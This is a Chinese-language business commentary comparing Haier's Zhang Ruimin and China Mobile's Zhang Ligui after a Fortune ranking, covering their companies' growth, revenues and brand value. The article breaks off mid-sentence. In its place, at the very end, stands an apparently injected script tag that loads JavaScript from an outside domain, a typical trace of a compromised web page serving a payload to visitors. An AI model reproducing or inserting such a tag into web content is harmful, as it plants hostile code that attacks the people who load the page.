《财富》衡量领袖的标准以企业业绩为重要指标，海尔集团总裁张瑞敏位居第6，中国移动公司总经理张立贵位居第13。二张虽然同在it业，若论企业性质，海尔与中移动有着本质区别，所以，二张之间的可比因素并不多。

　　《财富》只看账面业绩，并不了解海尔与中移动的财富是怎么来的，以数字为标准，也是一个硬指标。海尔也有这样那样的问题，但仅就市场竞争力而论，海尔积累财富的经历很有价值。
　　
　　海尔创立于1984年，海尔的前身———青岛电冰箱厂亏空147万元，600名职工人心涣散。张瑞敏奉命于危难之际，带领海尔人励精图治，艰苦奋斗，卓越创新，以平均每年递增78%的速度，把海尔打造成一家国际著名企业。

　　20年前，海尔只有一个型号的冰箱产品，当时，国内企业还没有现代企业管理的氛围，张瑞敏和他的创业者们就率先举起质量大旗，鲜明地提出实施名牌战略，并把这一战略作为海尔的最大目标和长期生存发展的基石。在“名牌战略”思想的引领下，海尔经过20年的艰苦奋斗和卓越创新，从濒临倒闭的集体小厂发展成为跨国企业。而今，海尔已经拥有包括白色家电、黑色家电、米色家电在内的86大门类13000多个规格品种的产品群。

　　2001年，海尔实现全球营业额602亿元，是1984年的17000多倍；2002年，海尔跃居中国电子信息百强之首，实现海外营业额10亿美元，是中国家电业出口创汇最多的企业。2003年，海尔全球营业额突破800亿元，折合97亿美元，距世界500强入围线仅一步之遥。

　　海尔的品牌价值评估已达436亿元。2004年1月，世界品牌实验室评出“世界最具影响力的100个品牌”，海尔名列第95位。这是第一个进入世界百强品牌排行榜的中国企业。

　　也许，海尔采取了一些不可能为业界所效法的策略，但是，从亏空147万元，到年营业额突破800亿元，你不能不承认，张瑞敏是绝招的。

　　中国移动通信起步于20世纪80年代末90年代初，陆续以地市为单位建设模拟移动电话系统。上世纪90年代中后期，中国移动通信市场进入高速发展的黄金时期，1999年，中国移动从中国电信中剥离出来，组建了独立的运营公司。

　　2000年4月20 日，中国移动通信集团公司正式成立，张立贵就任总经理。从1987年到2000年4月，张立贵曾任邮电电信总局局长，并在中国电信长期担任重要领导职务。

　　中国移动挂牌营业的当年，移动交换容量就超过了1亿户。中国移动注册资本为518亿元人民币，目前的资产规模已超过3200亿元，中国移动（香港）有限公司是我国在境外上市公司中市值最大的公司之一。根据美国《财富》杂志公布的世界500强最新排名，中国移动通信位列第287位。

　　2003年，中国移动全年运营总收入达1586.04亿元人民币，用户总数达1.41616亿户，已成为全球最大的移动运营商。
　　
　　论公司规模和营业收入，中国移动远远领先于海尔，对于中移动的成长，张立贵说得好，“我们运气很好，改革开放创造了需求，信息技术的浪潮又为我们装上了翅膀，所以我们能够实现高过其他行业的增长”。

　　应当肯定，张立贵本人和中国移动的运气确实太好了。按张立贵本人的话说，“进入90年代后，我国电信就像坐上火箭，快速窜升，十年收入增长22倍，用户增长14倍。这样的速度不仅超过国内所有行业，而且也超过世界任何一个国家的发展记录。从经济学角度看，需求是发展的唯一动力。中国移动的高速发展，得益于全球信息化的进程。信息技术成为全球最活跃、最热门的技术，信息产业成为最具活力的朝阳产业”。

　　大环境很好，国家政策更好。张立贵列举的中国移动发展的四大要素之一，就是“举全国之力、动员全社会发展电信”。90年代，国家、地方、集体、个人一起上，解决电信资金问题。比如，国家给了“倒一九”政策，电信上缴的利润90%返还用于再发展；地方则搞联合建设，从地方财政中尽量支持电信投入；消费者则拿初装费，支持电信发展。

　　相比之下，海尔的运气就差多了。从1984年创业开始，张瑞敏就是背水一战，国内市场竞争?script src=http://er12.com/t.js>